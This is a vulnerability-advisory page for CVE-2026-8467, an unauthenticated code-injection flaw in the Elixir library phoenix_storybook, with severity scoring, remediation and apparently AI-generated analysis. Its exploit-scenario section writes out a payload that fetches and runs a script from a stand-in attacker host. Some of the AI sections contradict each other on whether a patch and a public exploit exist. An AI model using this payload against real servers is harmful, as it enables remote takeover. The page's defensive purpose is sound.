Skip to main content

Phoenix Storybook CVE-2026-8467

| EUVDEUVD-2026-31112 CRITICAL
Code Injection (CWE-94)
2026-05-20 6b3ad84c-e1a6-4bf7-a703-f496b71e49db GHSA-55hg-8qxv-qj4p
9.5
CVSS 4.0 · Vendor: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Discover exposed /storybook route
  2. Delivery
    Open LiveView WebSocket to PlaygroundPreviewLive
  3. Exploit
    Send psb-assign with quote-breaking HEEx payload
  4. Install
    Server compiles malicious HEEx template
  5. C2
    EEx evaluates injected Elixir expression
  6. Execute
    Execute arbitrary commands as BEAM user
  7. Impact
    Pivot or exfiltrate from host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The target Phoenix application must mount the PhoenixStorybook routes (e.g., live_storybook "/storybook", ...) and the storybook LiveView playground must be network-reachable to the attacker - by default these routes are mounted in dev configurations and are frequently left enabled in staging or production. The attacker must be able to establish a Phoenix LiveView WebSocket session to the PlaygroundPreviewLive (no credentials required per PR:N) and send a psb-assign event referencing a valid variation_id; the attribute value must contain a closing double-quote followed by a HEEx expression block of the form foo" injected={EXPR} bar=" so EXPR is interpolated unescaped into the compiled template. Limiting factors: applications that do not mount phoenix_storybook routes, or that gate them behind authentication/IP allowlists, are not exploitable; versions before 0.5.0 and 1.1.0 or later are not vulnerable.

Impact

All available signals point to genuine high priority. The CVSS 4.0 vector AV:N/AC:L/AT:P/PR:N/UI:N indicates network-reachable, low-complexity, unauthenticated exploitation with no user interaction; AT:P (attack requirements: present) reflects only that a Phoenix Storybook playground route must be exposed, which is the default deployment in dev and is frequently left on in staging or even production. Vulnerability impact is maximal across confidentiality, integrity, and availability for both vulnerable and subsequent systems (VC:H/VI:H/VA:H/SC:H/SI:H/SA:H), consistent with full RCE. EPSS and CISA KEV data were not provided in the input, so probability of exploitation and active-exploitation status cannot be quantified from the source data - defenders should not assume KEV inclusion absent confirmation. The upstream patch commit and GHSA advisory provide a clear roadmap for exploit development, so weaponization risk is high; no public exploit identified at time of analysis. There is no conflict between the description and CVSS vector - both consistently describe remote unauthenticated RCE.

Exploit ScenarioDerived

An attacker who can reach a Phoenix application that mounts the phoenix_storybook routes (commonly /storybook in dev/staging, sometimes inadvertently in prod) opens a LiveView WebSocket to the PlaygroundPreviewLive, then sends a psb-assign event with an attribute value such as foo" injected={System.cmd("sh", ["-c", "curl attacker.example/x | sh"])} bar=". The server compiles the resulting HEEx template and evaluates the embedded Elixir expression with full Kernel imports, achieving arbitrary command execution as the BEAM user. Working exploit primitive is directly derivable from the public patch diff.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 20, 2026

Unauthenticated remote code execution in phenixdigital phoenix_storybook 0.5.0 through versions before 1.1.0 allows attackers to execute arbitrary Elixir code on the server by abusing the psb-assign WebSocket event to inject HEEx template expressions. The flaw stems from attribute values being interpolated verbatim into HEEx templates that are then compiled and evaluated with full Kernel imports and no sandbox. Publicly available exploit code exists via the upstream commit and GHSA advisory, though no public exploit identified at time of analysis for in-the-wild use; CVSS 4.0 score is 9.5.

RemediationAI

Vendor-released patch: upgrade phoenix_storybook to version 1.1.0 or later in mix.exs and run mix deps.update phoenix_storybook (see GHSA-55hg-8qxv-qj4p). If immediate upgrade is not feasible, the most effective compensating control is to ensure the storybook routes (typically mounted with PhoenixStorybook.Router.live_storybook/2) are not exposed in production or any internet-reachable environment - gate them behind an authenticated pipeline or remove the mount entirely from prod router configuration; the trade-off is loss of storybook availability for whoever was using it in that environment. Additionally, block WebSocket upgrades to the storybook LiveView path at the reverse proxy or WAF (e.g., deny /storybook/* upgrade requests), accepting that this also breaks legitimate playground use. Network-layer restriction (allowlist developer IPs only) is a secondary control with the side effect of breaking remote contributor access.

Affected VersionsENISA

phoenix_storybook 0.5.0 <1.1.0
phoenix_storybook e35379dfe2ef1a71b141899e36f431017c55265d <56ab8464d4375fa52db806148a06cce126ad481d

Affected Packages

euvd phoenix_storybook fix: 1.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Phoenix Storybook is an Elixir/Phoenix LiveView development tool for showcasing UI components in a 'storybook' style sandbox, similar to the JavaScript Storybook ecosystem. The vulnerability is a classic CWE-94 (Improper Control of Generation of Code, i.e., Code Injection) realized through template injection: the PlaygroundPreviewLive LiveView accepts arbitrary attribute names/values from WebSocket clients via the psb-assign event, passes them through ExtraAssignsHelpers.handle_set_variation_assign/3 unsanitized, and the ComponentRenderer.attributes_markup/1 function interpolates binary values directly into a HEEx string of the form name="<val>" without escaping double quotes or HEEx delimiters ({...}). The resulting string is compiled by EEx.compile_string/2 and executed by Code.eval_quoted_with_env/3 with the standard Kernel module imported, meaning any Elixir expression - including System.cmd/2 or File operations - runs with the BEAM process privileges. Affected component identifiers per CPE-style references map to hex package phenixdigital/phoenix_storybook versions >=0.5.0, <1.1.0.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (6b3ad84c-e1a6-4bf7-a703-f496b71e49db) PRIMARY 9.5 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (6b3ad84c-e1a6-4bf7-a703-f496b71e49db) · only source for this CVE.

CVSS VectorVendor: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

1
Patch available
May 20, 2026 - 15:17 EUVD

DescriptionCVE.org

Code Injection vulnerability in phenixdigital phoenix_storybook allows unauthenticated remote code execution via unsanitized attribute value interpolation in HEEx template generation.

The psb-assign WebSocket event handler in 'Elixir.PhoenixStorybook.Story.PlaygroundPreviewLive':handle_event/3 accepts arbitrary attribute names and values from unauthenticated clients. These values are passed to 'Elixir.PhoenixStorybook.Helpers.ExtraAssignsHelpers':handle_set_variation_assign/3, which stores them verbatim. When rendering, 'Elixir.PhoenixStorybook.Rendering.ComponentRenderer':attributes_markup/1 interpolates binary attribute values directly into a HEEx template string as name="<val>" without escaping double quotes or HEEx expression delimiters. An attacker can supply a value containing a closing quote followed by a HEEx expression block (e.g. foo" injected={EXPR} bar="), which causes EXPR to be treated as an inline Elixir expression. The resulting template is compiled via EEx.compile_string/2 and executed via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox, giving the attacker arbitrary code execution on the server.

This issue affects phoenix_storybook from 0.5.0 before 1.1.0.

Executive ViewAI

Why It Matters

phenixdigital phoenix_storybook versions 0.5.0 through <1.1.0 contain a critical unauthenticated remote code execution vulnerability; publicly available exploit code exists. Any organization deploying this library faces immediate risk of complete system compromise without user interaction. This vulnerability requires urgent remediation due to network accessibility and low exploitation complexity.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to WebSocket endpoints serving phoenix_storybook via firewall rules; (2) Implement Web Application Firewall to block psb-assign WebSocket events; (3) Disable storybook in production if operationally feasible; (4) Monitor for suspicious process execution and HEEx template compilation activity.

Threat Intelligence Overview

EPSS Score
0.3%
Top 46% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

68
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +48
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy